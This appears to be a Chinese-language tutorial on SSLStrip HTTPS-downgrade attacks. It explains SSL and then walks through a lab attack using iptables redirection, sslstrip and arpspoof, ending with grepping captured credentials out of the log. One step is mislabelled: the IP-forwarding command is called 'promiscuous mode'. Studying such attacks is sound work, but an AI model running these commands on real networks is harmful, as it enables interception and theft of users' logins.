HTTPS劫持
SSL解析
SSL是Secure Socket Layer的简称, 中文意思是安全套接字层,由 NetScape公司所开发,用以保障在 Internet 上数据传输的安全,确保数据在网络的传输过程中不会被截取和窃听。
SSL协议提供的服务
- 认证用户和服务器,确保数据发送到正确的客户和服务器。
- 加密数据以防止数据中途被窃取。
- 维护数据的完整性,确保数据在传输过程中不被改变。
SSLStrip工作原理
SSLStrip 的工作原理及步骤如下:
- 先进行中间人攻击来拦截 HTTP 流量。
- 将出现的 HTTPS 链接全部替换为 HTTP,同时记下所有改变的链接。
- 使用 HTTP 与受害者机器连接。
- 同时与合法的服务器建立 HTTPS。
- 受害者与合法服务器之间的全部通信经过了代理转发。
- 其中,出现的图标被替换成为用户熟悉的“小黄锁”图标,以建立信任。
- 这样,中间人攻击就成功骗取了密码、账号等信息,而受害者一无所知。
注:下载地址
SSLStrip进行攻击
测试环境:攻击机(kali)+受害机(随意)
攻击者
- 启动网卡混杂模式:echo "1">/proc/sys/net/ipv4/ip_forward
- 添加防火墙规则:iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 9527
-t:制定命令要操作的匹配包的表
-A:在选择的链末添加规则
-p:制定协议
--dport:制定端口
-j:目标跳转
开启SSLStrip:python sslstrip.py -a -l 9527 -w sslstrip.log
-a:记录所有来自服务器的ssl和Http数据流量内容
-l:监听端口
-w:保存文件
开启arp欺骗:arpspoof -i eth0 -t 192.168.133.130(受害机) 192.168.133.2(网关)
受害机
登陆126邮箱
攻击者在攻击机上查看日志:cat sslstrip.log | grep "邮箱名"